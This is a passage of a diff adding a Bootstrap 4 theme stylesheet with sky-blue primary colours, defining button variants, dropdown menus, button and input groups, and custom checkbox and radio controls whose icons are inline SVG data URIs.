+.btn-primary:hover { + color: #fff; + background-color: #1992d7; + border-color: #178acc +} + +.btn-primary:focus, .btn-primary.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5) +} + +.btn-primary.disabled, .btn-primary:disabled { + color: #fff; + background-color: #2FA4E7; + border-color: #2FA4E7 +} + +.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active, .show > .btn-primary.dropdown-toggle { + color: #fff; + background-color: #178acc; + border-color: #1682c0 +} + +.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus, .show > .btn-primary.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5) +} + +.btn-secondary { + color: #212529; + background-color: #e9ecef; + border-color: #e9ecef +} + +.btn-secondary:hover { + color: #212529; + background-color: #d3d9df; + border-color: #cbd3da +} + +.btn-secondary:focus, .btn-secondary.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5); + box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5) +} + +.btn-secondary.disabled, .btn-secondary:disabled { + color: #212529; + background-color: #e9ecef; + border-color: #e9ecef +} + +.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active, .show > .btn-secondary.dropdown-toggle { + color: #212529; + background-color: #cbd3da; + border-color: #c4ccd4 +} + +.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus, .show > .btn-secondary.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5); + box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5) +} + +.btn-success { + color: #fff; + background-color: #73A839; + border-color: #73A839 +} + +.btn-success:hover { + color: #fff; + background-color: #5f8b2f; + border-color: #59822c +} + +.btn-success:focus, .btn-success.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5); + box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5) +} + +.btn-success.disabled, .btn-success:disabled { + color: #fff; + background-color: #73A839; + border-color: #73A839 +} + +.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active, .show > .btn-success.dropdown-toggle { + color: #fff; + background-color: #59822c; + border-color: #527829 +} + +.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus, .show > .btn-success.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5); + box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5) +} + +.btn-info { + color: #fff; + background-color: #033C73; + border-color: #033C73 +} + +.btn-info:hover { + color: #fff; + background-color: #02294e; + border-color: #022241 +} + +.btn-info:focus, .btn-info.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5); + box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5) +} + +.btn-info.disabled, .btn-info:disabled { + color: #fff; + background-color: #033C73; + border-color: #033C73 +} + +.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active, .show > .btn-info.dropdown-toggle { + color: #fff; + background-color: #022241; + border-color: #011c35 +} + +.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus, .show > .btn-info.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5); + box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5) +} + +.btn-warning { + color: #fff; + background-color: #DD5600; + border-color: #DD5600 +} + +.btn-warning:hover { + color: #fff; + background-color: #b74700; + border-color: #aa4200 +} + +.btn-warning:focus, .btn-warning.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5); + box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5) +} + +.btn-warning.disabled, .btn-warning:disabled { + color: #fff; + background-color: #DD5600; + border-color: #DD5600 +} + +.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active, .show > .btn-warning.dropdown-toggle { + color: #fff; + background-color: #aa4200; + border-color: #9d3d00 +} + +.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus, .show > .btn-warning.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5); + box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5) +} + +.btn-danger { + color: #fff; + background-color: #C71C22; + border-color: #C71C22 +} + +.btn-danger:hover { + color: #fff; + background-color: #a5171c; + border-color: #9a161a +} + +.btn-danger:focus, .btn-danger.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5); + box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5) +} + +.btn-danger.disabled, .btn-danger:disabled { + color: #fff; + background-color: #C71C22; + border-color: #C71C22 +} + +.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active, .show > .btn-danger.dropdown-toggle { + color: #fff; + background-color: #9a161a; + border-color: #8f1418 +} + +.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus, .show > .btn-danger.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5); + box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5) +} + +.btn-light { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-light:hover { + color: #212529; + background-color: #e2e6ea; + border-color: #dae0e5 +} + +.btn-light:focus, .btn-light.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5) +} + +.btn-light.disabled, .btn-light:disabled { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active, .show > .btn-light.dropdown-toggle { + color: #212529; + background-color: #dae0e5; + border-color: #d3d9df +} + +.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus, .show > .btn-light.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5) +} + +.btn-dark { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-dark:hover { + color: #fff; + background-color: #23272b; + border-color: #1d2124 +} + +.btn-dark:focus, .btn-dark.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5) +} + +.btn-dark.disabled, .btn-dark:disabled { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active, .show > .btn-dark.dropdown-toggle { + color: #fff; + background-color: #1d2124; + border-color: #171a1d +} + +.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus, .show > .btn-dark.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5) +} + +.btn-outline-primary { + color: #2FA4E7; + background-color: transparent; + background-image: none; + border-color: #2FA4E7 +} + +.btn-outline-primary:hover { + color: #fff; + background-color: #2FA4E7; + border-color: #2FA4E7 +} + +.btn-outline-primary:focus, .btn-outline-primary.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5) +} + +.btn-outline-primary.disabled, .btn-outline-primary:disabled { + color: #2FA4E7; + background-color: transparent +} + +.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active, .show > .btn-outline-primary.dropdown-toggle { + color: #fff; + background-color: #2FA4E7; + border-color: #2FA4E7 +} + +.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-primary.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.5) +} + +.btn-outline-secondary { + color: #e9ecef; + background-color: transparent; + background-image: none; + border-color: #e9ecef +} + +.btn-outline-secondary:hover { + color: #212529; + background-color: #e9ecef; + border-color: #e9ecef +} + +.btn-outline-secondary:focus, .btn-outline-secondary.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5); + box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5) +} + +.btn-outline-secondary.disabled, .btn-outline-secondary:disabled { + color: #e9ecef; + background-color: transparent +} + +.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active, .show > .btn-outline-secondary.dropdown-toggle { + color: #212529; + background-color: #e9ecef; + border-color: #e9ecef +} + +.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-secondary.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5); + box-shadow: 0 0 0 0.2rem rgba(233, 236, 239, 0.5) +} + +.btn-outline-success { + color: #73A839; + background-color: transparent; + background-image: none; + border-color: #73A839 +} + +.btn-outline-success:hover { + color: #fff; + background-color: #73A839; + border-color: #73A839 +} + +.btn-outline-success:focus, .btn-outline-success.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5); + box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5) +} + +.btn-outline-success.disabled, .btn-outline-success:disabled { + color: #73A839; + background-color: transparent +} + +.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active, .show > .btn-outline-success.dropdown-toggle { + color: #fff; + background-color: #73A839; + border-color: #73A839 +} + +.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-success.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5); + box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.5) +} + +.btn-outline-info { + color: #033C73; + background-color: transparent; + background-image: none; + border-color: #033C73 +} + +.btn-outline-info:hover { + color: #fff; + background-color: #033C73; + border-color: #033C73 +} + +.btn-outline-info:focus, .btn-outline-info.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5); + box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5) +} + +.btn-outline-info.disabled, .btn-outline-info:disabled { + color: #033C73; + background-color: transparent +} + +.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active, .show > .btn-outline-info.dropdown-toggle { + color: #fff; + background-color: #033C73; + border-color: #033C73 +} + +.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-info.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5); + box-shadow: 0 0 0 0.2rem rgba(3, 60, 115, 0.5) +} + +.btn-outline-warning { + color: #DD5600; + background-color: transparent; + background-image: none; + border-color: #DD5600 +} + +.btn-outline-warning:hover { + color: #fff; + background-color: #DD5600; + border-color: #DD5600 +} + +.btn-outline-warning:focus, .btn-outline-warning.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5); + box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5) +} + +.btn-outline-warning.disabled, .btn-outline-warning:disabled { + color: #DD5600; + background-color: transparent +} + +.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active, .show > .btn-outline-warning.dropdown-toggle { + color: #fff; + background-color: #DD5600; + border-color: #DD5600 +} + +.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-warning.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5); + box-shadow: 0 0 0 0.2rem rgba(221, 86, 0, 0.5) +} + +.btn-outline-danger { + color: #C71C22; + background-color: transparent; + background-image: none; + border-color: #C71C22 +} + +.btn-outline-danger:hover { + color: #fff; + background-color: #C71C22; + border-color: #C71C22 +} + +.btn-outline-danger:focus, .btn-outline-danger.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5); + box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5) +} + +.btn-outline-danger.disabled, .btn-outline-danger:disabled { + color: #C71C22; + background-color: transparent +} + +.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active, .show > .btn-outline-danger.dropdown-toggle { + color: #fff; + background-color: #C71C22; + border-color: #C71C22 +} + +.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-danger.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5); + box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.5) +} + +.btn-outline-light { + color: #f8f9fa; + background-color: transparent; + background-image: none; + border-color: #f8f9fa +} + +.btn-outline-light:hover { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-outline-light:focus, .btn-outline-light.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5) +} + +.btn-outline-light.disabled, .btn-outline-light:disabled { + color: #f8f9fa; + background-color: transparent +} + +.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active, .show > .btn-outline-light.dropdown-toggle { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-light.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5) +} + +.btn-outline-dark { + color: #343a40; + background-color: transparent; + background-image: none; + border-color: #343a40 +} + +.btn-outline-dark:hover { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-outline-dark:focus, .btn-outline-dark.focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5) +} + +.btn-outline-dark.disabled, .btn-outline-dark:disabled { + color: #343a40; + background-color: transparent +} + +.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active, .show > .btn-outline-dark.dropdown-toggle { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus, .show > .btn-outline-dark.dropdown-toggle:focus { + -webkit-box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5) +} + +.btn-link { + font-weight: 400; + color: #2FA4E7; + background-color: transparent +} + +.btn-link:hover { + color: #157ab5; + text-decoration: underline; + background-color: transparent; + border-color: transparent +} + +.btn-link:focus, .btn-link.focus { + text-decoration: underline; + border-color: transparent; + -webkit-box-shadow: none; + box-shadow: none +} + +.btn-link:disabled, .btn-link.disabled { + color: #868e96 +} + +.btn-lg, .btn-group-lg > .btn { + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem +} + +.btn-sm, .btn-group-sm > .btn { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem +} + +.btn-block { + display: block; + width: 100% +} + +.btn-block + .btn-block { + margin-top: 0.5rem +} + +input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block { + width: 100% +} + +.fade { + opacity: 0; + -webkit-transition: opacity 0.15s linear; + transition: opacity 0.15s linear +} + +.fade.show { + opacity: 1 +} + +.collapse { + display: none +} + +.collapse.show { + display: block +} + +tr.collapse.show { + display: table-row +} + +tbody.collapse.show { + display: table-row-group +} + +.collapsing { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition: height 0.35s ease; + transition: height 0.35s ease +} + +.dropup, .dropdown { + position: relative +} + +.dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid; + border-right: 0.3em solid transparent; + border-bottom: 0; + border-left: 0.3em solid transparent +} + +.dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 10rem; + padding: 0.5rem 0; + margin: 0.125rem 0 0; + font-size: 1rem; + color: #868e96; + text-align: left; + list-style: none; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.15); + border-radius: 0.25rem +} + +.dropup .dropdown-menu { + margin-top: 0; + margin-bottom: 0.125rem +} + +.dropup .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0; + border-right: 0.3em solid transparent; + border-bottom: 0.3em solid; + border-left: 0.3em solid transparent +} + +.dropup .dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropright .dropdown-menu { + margin-top: 0; + margin-left: 0.125rem +} + +.dropright .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid transparent; + border-bottom: 0.3em solid transparent; + border-left: 0.3em solid +} + +.dropright .dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropright .dropdown-toggle::after { + vertical-align: 0 +} + +.dropleft .dropdown-menu { + margin-top: 0; + margin-right: 0.125rem +} + +.dropleft .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: 0.255em; + vertical-align: 0.255em; + content: "" +} + +.dropleft .dropdown-toggle::after { + display: none +} + +.dropleft .dropdown-toggle::before { + display: inline-block; + width: 0; + height: 0; + margin-right: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid transparent; + border-right: 0.3em solid; + border-bottom: 0.3em solid transparent +} + +.dropleft .dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropleft .dropdown-toggle::before { + vertical-align: 0 +} + +.dropdown-divider { + height: 0; + margin: 0.5rem 0; + overflow: hidden; + border-top: 1px solid #e9ecef +} + +.dropdown-item { + display: block; + width: 100%; + padding: 0.25rem 1.5rem; + clear: both; + font-weight: 400; + color: #868e96; + text-align: inherit; + white-space: nowrap; + background-color: transparent; + border: 0 +} + +.dropdown-item:hover, .dropdown-item:focus { + color: #fff; + text-decoration: none; + background-color: #2FA4E7 +} + +.dropdown-item.active, .dropdown-item:active { + color: #fff; + text-decoration: none; + background-color: #2FA4E7 +} + +.dropdown-item.disabled, .dropdown-item:disabled { + color: #868e96; + background-color: transparent +} + +.dropdown-menu.show { + display: block +} + +.dropdown-header { + display: block; + padding: 0.5rem 1.5rem; + margin-bottom: 0; + font-size: 0.875rem; + color: #868e96; + white-space: nowrap +} + +.btn-group, .btn-group-vertical { + position: relative; + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + vertical-align: middle +} + +.btn-group > .btn, .btn-group-vertical > .btn { + position: relative; + -webkit-box-flex: 0; + -ms-flex: 0 1 auto; + flex: 0 1 auto +} + +.btn-group > .btn:hover, .btn-group-vertical > .btn:hover { + z-index: 1 +} + +.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn:focus, .btn-group-vertical > .btn:active, .btn-group-vertical > .btn.active { + z-index: 1 +} + +.btn-group .btn + .btn, .btn-group .btn + .btn-group, .btn-group .btn-group + .btn, .btn-group .btn-group + .btn-group, .btn-group-vertical .btn + .btn, .btn-group-vertical .btn + .btn-group, .btn-group-vertical .btn-group + .btn, .btn-group-vertical .btn-group + .btn-group { + margin-left: -1px +} + +.btn-toolbar { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start +} + +.btn-toolbar .input-group { + width: auto +} + +.btn-group > .btn:first-child { + margin-left: 0 +} + +.btn-group > .btn:not(:last-child):not(.dropdown-toggle), .btn-group > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.btn-group > .btn:not(:first-child), .btn-group > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.dropdown-toggle-split { + padding-right: 0.5625rem; + padding-left: 0.5625rem +} + +.dropdown-toggle-split::after { + margin-left: 0 +} + +.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split { + padding-right: 0.375rem; + padding-left: 0.375rem +} + +.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split { + padding-right: 0.75rem; + padding-left: 0.75rem +} + +.btn-group-vertical { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.btn-group-vertical .btn, .btn-group-vertical .btn-group { + width: 100% +} + +.btn-group-vertical > .btn + .btn, .btn-group-vertical > .btn + .btn-group, .btn-group-vertical > .btn-group + .btn, .btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0 +} + +.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle), .btn-group-vertical > .btn-group:not(:last-child) > .btn { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0 +} + +.btn-group-vertical > .btn:not(:first-child), .btn-group-vertical > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-top-right-radius: 0 +} + +.btn-group-toggle > .btn, .btn-group-toggle > .btn-group > .btn { + margin-bottom: 0 +} + +.btn-group-toggle > .btn input[type="radio"], .btn-group-toggle > .btn input[type="checkbox"], .btn-group-toggle > .btn-group > .btn input[type="radio"], .btn-group-toggle > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none +} + +.input-group { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: stretch; + -ms-flex-align: stretch; + align-items: stretch; + width: 100% +} + +.input-group > .form-control, .input-group > .custom-select, .input-group > .custom-file { + position: relative; + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + width: 1%; + margin-bottom: 0 +} + +.input-group > .form-control:focus, .input-group > .custom-select:focus, .input-group > .custom-file:focus { + z-index: 3 +} + +.input-group > .form-control + .form-control, .input-group > .form-control + .custom-select, .input-group > .form-control + .custom-file, .input-group > .custom-select + .form-control, .input-group > .custom-select + .custom-select, .input-group > .custom-select + .custom-file, .input-group > .custom-file + .form-control, .input-group > .custom-file + .custom-select, .input-group > .custom-file + .custom-file { + margin-left: -1px +} + +.input-group > .form-control:not(:last-child), .input-group > .custom-select:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.input-group > .form-control:not(:first-child), .input-group > .custom-select:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.input-group > .custom-file { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.input-group > .custom-file:not(:last-child) .custom-file-label, .input-group > .custom-file:not(:last-child) .custom-file-label::before { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.input-group > .custom-file:not(:first-child) .custom-file-label, .input-group > .custom-file:not(:first-child) .custom-file-label::before { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.input-group-prepend, .input-group-append { + display: -webkit-box; + display: -ms-flexbox; + display: flex +} + +.input-group-prepend .btn, .input-group-append .btn { + position: relative; + z-index: 2 +} + +.input-group-prepend .btn + .btn, .input-group-prepend .btn + .input-group-text, .input-group-prepend .input-group-text + .input-group-text, .input-group-prepend .input-group-text + .btn, .input-group-append .btn + .btn, .input-group-append .btn + .input-group-text, .input-group-append .input-group-text + .input-group-text, .input-group-append .input-group-text + .btn { + margin-left: -1px +} + +.input-group-prepend { + margin-right: -1px +} + +.input-group-append { + margin-left: -1px +} + +.input-group-text { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + padding: 0.375rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + text-align: center; + white-space: nowrap; + background-color: #e9ecef; + border: 1px solid #ced4da; + border-radius: 0.25rem +} + +.input-group-text input[type="radio"], .input-group-text input[type="checkbox"] { + margin-top: 0 +} + +.input-group > .input-group-prepend > .btn, .input-group > .input-group-prepend > .input-group-text, .input-group > .input-group-append:not(:last-child) > .btn, .input-group > .input-group-append:not(:last-child) > .input-group-text, .input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group > .input-group-append:last-child > .input-group-text:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.input-group > .input-group-append > .btn, .input-group > .input-group-append > .input-group-text, .input-group > .input-group-prepend:not(:first-child) > .btn, .input-group > .input-group-prepend:not(:first-child) > .input-group-text, .input-group > .input-group-prepend:first-child > .btn:not(:first-child), .input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.custom-control { + position: relative; + display: block; + min-height: 1.5rem; + padding-left: 1.5rem +} + +.custom-control-inline { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + margin-right: 1rem +} + +.custom-control-input { + position: absolute; + z-index: -1; + opacity: 0 +} + +.custom-control-input:checked ~ .custom-control-label::before { + color: #fff; + background-color: #2FA4E7 +} + +.custom-control-input:focus ~ .custom-control-label::before { + -webkit-box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(47, 164, 231, 0.25); + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(47, 164, 231, 0.25) +} + +.custom-control-input:active ~ .custom-control-label::before { + color: #fff; + background-color: #cfeaf9 +} + +.custom-control-input:disabled ~ .custom-control-label { + color: #868e96 +} + +.custom-control-input:disabled ~ .custom-control-label::before { + background-color: #e9ecef +} + +.custom-control-label { + margin-bottom: 0 +} + +.custom-control-label::before { + position: absolute; + top: 0.25rem; + left: 0; + display: block; + width: 1rem; + height: 1rem; + pointer-events: none; + content: ""; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-color: #dee2e6 +} + +.custom-control-label::after { + position: absolute; + top: 0.25rem; + left: 0; + display: block; + width: 1rem; + height: 1rem; + content: ""; + background-repeat: no-repeat; + background-position: center center; + background-size: 50% 50% +} + +.custom-checkbox .custom-control-label::before { + border-radius: 0.25rem +} + +.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before { + background-color: #2FA4E7 +} + +.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E") +} + +.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before { + background-color: #2FA4E7 +} + +.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E") +} + +.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(47, 164, 231, 0.5) +} + +.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before { + background-color: rgba(47, 164, 231, 0.5) +} + +.custom-radio .custom-control-label::before { + border-radius: 50% +} + +.custom-radio .custom-control-input:checked ~ .custom-control-label::before { + background-color: #2FA4E7 +} + +.custom-radio .custom-control-input:checked ~ .custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E") +} + +.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(47, 164, 231, 0.5) +} + +.custom-select { + display: inline-block; + width: 100%; + height: calc(2.25rem + 